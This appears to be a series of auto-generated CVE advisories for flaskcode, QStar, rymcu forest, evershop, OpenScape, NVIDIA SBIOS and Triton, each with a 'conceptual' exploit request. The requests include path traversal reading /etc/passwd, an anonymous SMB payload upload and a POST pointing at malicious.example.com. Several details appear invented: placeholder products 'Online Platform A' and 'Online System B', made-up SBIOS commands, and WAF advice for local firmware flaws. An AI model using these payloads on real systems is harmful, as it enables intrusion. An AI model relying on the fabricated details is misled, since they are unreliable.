Author: Ameeba

Overview

The CVE-2023-52288 is a high-risk vulnerability discovered in the flaskcode package, used in Python-based applications. This vulnerability exposes sensitive files to unauthenticated users, potentially leading to system compromise or significant data leakage. It is imperative for companies utilizing this package to understand the severity of this vulnerability and promptly implement mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2023-52288
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive system files, potential data leakage or system compromise

Affected Products

Product | Affected Versions

Flaskcode | 0.0.8 and earlier

How the Exploit Works

The exploit takes advantage of a directory traversal vulnerability present in the flaskcode package for Python. An attacker can use a crafted GET request to a specific URI (/resource-data/.txt) to read arbitrary system files. Given that no authentication is required to execute this exploit, it can be used by any individual with access to the network.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP GET request to the vulnerable endpoint:

GET /resource-data/../../../etc/passwd.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to read the `/etc/passwd` file, a critical system file containing user account details. The `../../../` is a common directory traversal technique used to navigate up multiple directory levels.

Mitigation Guidance

The vulnerability can be mitigated by applying the vendor-supplied patch. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and block exploit attempts. Additionally, users are encouraged to regularly update the flaskcode package to the latest version to prevent future vulnerabilities.

Overview

The vulnerability identified as CVE-2023-51070 is a serious security flaw affecting QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0. It enables unauthenticated attackers to tamper with sensitive SMB settings on the QStar Server, potentially leading to system compromise or data leakage. Given the severity of the consequences, it is paramount to address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2023-51070
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

QStar Archive Solutions | RELEASE_3-0 Build 7 Patch 0

How the Exploit Works

The exploit takes advantage of an access control issue in the QStar Archive Solutions. The flaw enables unauthenticated attackers to adjust sensitive SMB settings on the QStar Server via the network. These adjustments could potentially allow an attacker to control the system or leak sensitive data.

Conceptual Example Code

Here’s a
conceptual
example of how this vulnerability might be exploited using an SMB connection:

smbclient //target.example.com/QStar -N
smb: \> put malicious_payload
smb: \> exit

In this example, the attacker uses the smbclient tool to connect to the QStar server without any authentication (“-N” flag). They then upload a malicious payload (“put malicious_payload”) that can manipulate the system or exfiltrate data.

Mitigation Guidance

To protect against this vulnerability, apply the vendor patch as soon as it is available. As a temporary mitigation measure, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block potential exploit attempts. Regularly update these systems to ensure they are capable of detecting the latest threats.

Overview

This report addresses a significant vulnerability, CVE-2023-51065, detected in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0. If exploited, this vulnerability allows unauthenticated attackers to gain access to system backups and other sensitive information from the QStar Server. As such, it poses a serious threat to organizations using the vulnerable software, given the potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2023-51065
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorised access leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

QStar Archive Solutions | RELEASE_3-0 Build 7 Patch 0

How the Exploit Works

The exploit takes advantage of the incorrect access control in QStar Archive Solutions. An attacker can make unauthenticated network requests to the QStar Server, accessing system backups and sensitive information. The lack of proper access control mechanisms makes it possible for an attacker to retrieve, manipulate, or delete data, leading to potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited using an HTTP request:

GET /system_backups/backup.tar.gz HTTP/1.1
Host: qstar_server.example.com

This request, when sent by an attacker, may return a system backup file if the server is running an affected version of QStar Archive Solutions. The actual exploit will depend on the specific configurations and environment of the vulnerable system.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor-provided patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These tools can help detect and block malicious attempts to exploit this vulnerability.

Overview

This report discusses a significant vulnerability, CVE-2023-51804, detected in the rymcu forest software, version 0.02. This vulnerability allows remote attackers to obtain sensitive information through the manipulation of the HTTP body URL. It affects users and organizations utilizing rymcu forest v.0.02 and it matters due to its potential to cause system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-51804
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

rymcu forest | v.0.02

How the Exploit Works

This vulnerability exploits a flaw in the com.rymcu.forest.web.api.common.UploadController file of rymcu forest v.0.02. It permits a remote attacker to manipulate the HTTP body URL, thereby gaining unauthorized access to sensitive data. This vulnerability doesn’t require any user interaction or special privileges, making it a significant threat that can be exploited easily.

Conceptual Example Code

The vulnerability might be exploited using a malicious HTTP request similar to the following:

POST /api/common/upload HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "url": "http://malicious.example.com/data-leak" }

In this hypothetical example, the attacker manipulates the URL in the HTTP body of the post request to point towards a malicious server, thereby potentially gaining access to sensitive data transferred during the upload process.

Mitigation Guidance

Affected users and organizations should apply the vendor’s patch as soon as it becomes available to mitigate this vulnerability. In the interim, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block attempts to exploit this vulnerability.

Overview

The cybersecurity community has recently identified a significant vulnerability, CVE-2023-46942, in the NPM package @evershop/evershop before version 1.0.0-rc.8. This vulnerability can lead to unauthorized access to sensitive information by remote attackers. It is of critical importance due to the potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2023-46942
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive information, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

NPM’s @evershop/evershop | Before 1.0.0-rc.8

How the Exploit Works

The vulnerability arises from the lack of authentication in certain GraphQL endpoints in the NPM package. This allows remote attackers to gain unauthorized access to these endpoints and obtain sensitive information. Attackers can exploit this vulnerability by sending specially crafted requests to these vulnerable endpoints.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP POST request to a vulnerable GraphQL endpoint:

POST /graphql HTTP/1.1
Host: target.example.com
Content-Type: application/graphql
{
"query": "{ sensitiveInformation { ... } }"
}

In this conceptual example, the attacker sends a malicious GraphQL query requesting sensitive information from the server. Due to the lack of proper authentication, the server might return the requested sensitive data.

Mitigation and Patching

To mitigate this vulnerability, users are advised to update the @evershop/evershop package to version 1.0.0-rc.8 or later, where the issue has been fixed. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to detect and block exploit attempts.

Overview

This report addresses a significant cybersecurity vulnerability – CVE-2023-48166, which impacts the Atos Unify OpenScape Voice V10 systems. This vulnerability, if left unpatched, poses a considerable risk by potentially enabling an unauthenticated attacker to view and compromise sensitive files within the local file system. This could lead to data leakage or an all-out system compromise.

Vulnerability Summary

CVE ID: CVE-2023-48166
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Atos Unify OpenScape Voice V10 | Before V10R3.26.1

How the Exploit Works

The vulnerability lies in the SOAP Server integrated within the Atos Unify OpenScape Voice V10. An attacker can exploit this vulnerability by performing a directory traversal attack to gain access to arbitrary files in the local file system. This access can facilitate the viewing of sensitive files and potentially compromise the underlying system.

Conceptual Example Code

Here’s a conceptual example of a maliciously crafted HTTP request, which could potentially exploit this vulnerability:

GET /../../../../etc/passwd HTTP/1.1
Host: vulnerable-server.com

The above request attempts to traverse directories in an attempt to access the “/etc/passwd” file, which contains sensitive user account information.

Mitigation Guidance

To mitigate the risk associated with CVE-2023-48166, it is recommended that users apply the latest patch provided by the vendor (V10R3.26.1 or later). In the absence of an available patch, users may employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation method. However, this should not replace the need for applying the vendor patch once it’s available.

Overview

This report provides a detailed analysis of CVE-2023-31035, a significant vulnerability detected in NVIDIA’s DGX A100 SBIOS. This vulnerability exposes systems to potential compromise and data leakage, highlighting the importance of immediate action for mitigation. The implications of this vulnerability are severe, and it is critical for users of the affected NVIDIA products to understand the threat and take appropriate preventive measures.

Vulnerability Summary

CVE ID: CVE-2023-31035
Severity: High (7.5 CVSS)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise, denial of service, escalation of privileges, and data leakage.

Affected Products

Product | Affected Versions

NVIDIA DGX A100 SBIOS | All versions prior to update

How the Exploit Works

The vulnerability lies within the NVIDIA DGX A100 SBIOS, where an attacker can trigger an SMI callout vulnerability. This vulnerability can be exploited to execute arbitrary code at the System Management Mode (SMM) level. Successfully exploiting this vulnerability could lead to system compromise, denial of service, escalation of privileges, and information disclosure.

Conceptual Example Code

The following is a conceptual code example illustrating how an attacker might exploit this vulnerability. Please note that this is a simplified example and does not represent a real exploit.

# Attacker sends a specially crafted SMI request
smi_request --callout "malicious_code"

The attacker uses a specially crafted SMI request to trigger the vulnerability and execute malicious code in the SMM.

Mitigation Guidance

Until a patch is made available by NVIDIA, users are recommended to deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Once the official patch is released, it should be applied immediately to all affected systems. Regular patching and updating of systems is a critical component of maintaining cybersecurity.

Overview

A critical vulnerability (CVE-2023-31032) has been identified in NVIDIA’s DGX A100 SBIOS. This vulnerability could potentially lead to a denial of service (DoS) attack if successfully exploited. Affected systems could experience system compromise or data leakage, posing a significant risk to organizations using these systems. The issue is of paramount importance due to the high severity score of 7.5 and the potential for significant operational disruption.

Vulnerability Summary

CVE ID: CVE-2023-31032
Severity: High (7.5 CVSS)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NVIDIA DGX A100 SBIOS | All versions prior to the patch

How the Exploit Works

In the case of CVE-2023-31032, the vulnerability lies within the design of the NVIDIA DGX A100 SBIOS. An attacker with local access could trigger a dynamic variable evaluation. This could be done via malicious scripts or software that manipulates the SBIOS environment variables. If successful, it would cause the system to crash, leading to a denial of service.

Conceptual Example Code

While a specific exploit method isn’t detailed, a conceptual example of a similar vulnerability might look like this:

#!/bin/bash
# Exploit for CVE-2023-31032
# This is a conceptual example and may not work as is.
export MALICIOUS_VARIABLE=$(command_or_script_that_crashes_system)
sbios_command_requiring_variable_evaluation

This script sets a malicious environment variable that, when evaluated, executes a command or script that crashes the system. The next line triggers a SBIOS command that requires variable evaluation, thereby exploiting the vulnerability.

Mitigation Guidance

NVIDIA has released a patch to address this vulnerability. Users are strongly advised to apply this patch as soon as possible to mitigate the risk. As a temporary measure, users may also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation attempts. However, these measures are not substitutes for applying the patch and should only be used as interim solutions until the patch can be applied.

Overview

CVE-2023-31036 is a severe vulnerability discovered in NVIDIA Triton Inference Server for Linux and Windows that may lead to a potential system compromise or data leakage. The security flaw allows an attacker, using a specific command line option, to exploit a relative path traversal vulnerability. This vulnerability is of significant concern as it affects a wide range of NVIDIA Triton Inference Server versions and can lead to serious outcomes such as code execution, denial of service, privilege escalation, information disclosure, and data tampering.

Vulnerability Summary

CVE ID: CVE-2023-31036
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Successful exploitation may lead to code execution, denial of service, privilege escalation, information disclosure, and data tampering.

Affected Products

Product | Affected Versions

NVIDIA Triton Inference Server for Linux | All versions prior to patch
NVIDIA Triton Inference Server for Windows | All versions prior to patch

How the Exploit Works

The exploit works when the NVIDIA Triton Inference Server is launched with the non-default command-line option –model-control explicit. This allows an attacker to use the model load API to instigate a relative path traversal. The attacker can manipulate the file path input to access, modify, or execute files outside of the intended directory.

Conceptual Example Code

Here is a conceptual example of how this vulnerability could be exploited. This is a HTTP request that uses the model load API to load a malicious model from a location outside of the intended directory.

POST /v1/models/load HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"model_name": "../../../etc/passwd",
"version": "1.0"
}

In this example, the relative path traversal is used to upload a model file that points to a system file outside the intended directory, potentially leading to information disclosure or unauthorized code execution.

Overview

CVE-2023-49261 is a severe vulnerability that exposes the “tokenKey” value used in user authorization in the HTML source of the login page. This exposure puts systems and their data at high risk as it could potentially lead to system compromise or data leakage. This vulnerability can affect any online platform or system that uses the exposed “tokenKey” value for user authorization.

Vulnerability Summary

CVE ID: CVE-2023-49261
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Online Platform A | All versions
Online System B | Versions 3.0 and below

How the Exploit Works

The exploit works by taking advantage of the “tokenKey” value exposure in the HTML source code of the login page. An attacker can view the HTML source code, find the exposed “tokenKey” value, and use it to bypass the user authorization process. This could allow the attacker to gain unauthorized access to the system and its data.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might exploit it using an HTTP request like the following:

GET /login.html HTTP/1.1
Host: target.example.com
<!-- The attacker then locates the "tokenKey" value in the HTML source code of the login page -->
POST /auth/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "tokenKey": "exposed_token_key_value" }

Please note that this is a conceptual example and the actual exploit could vary depending on the specific implementation of the affected system.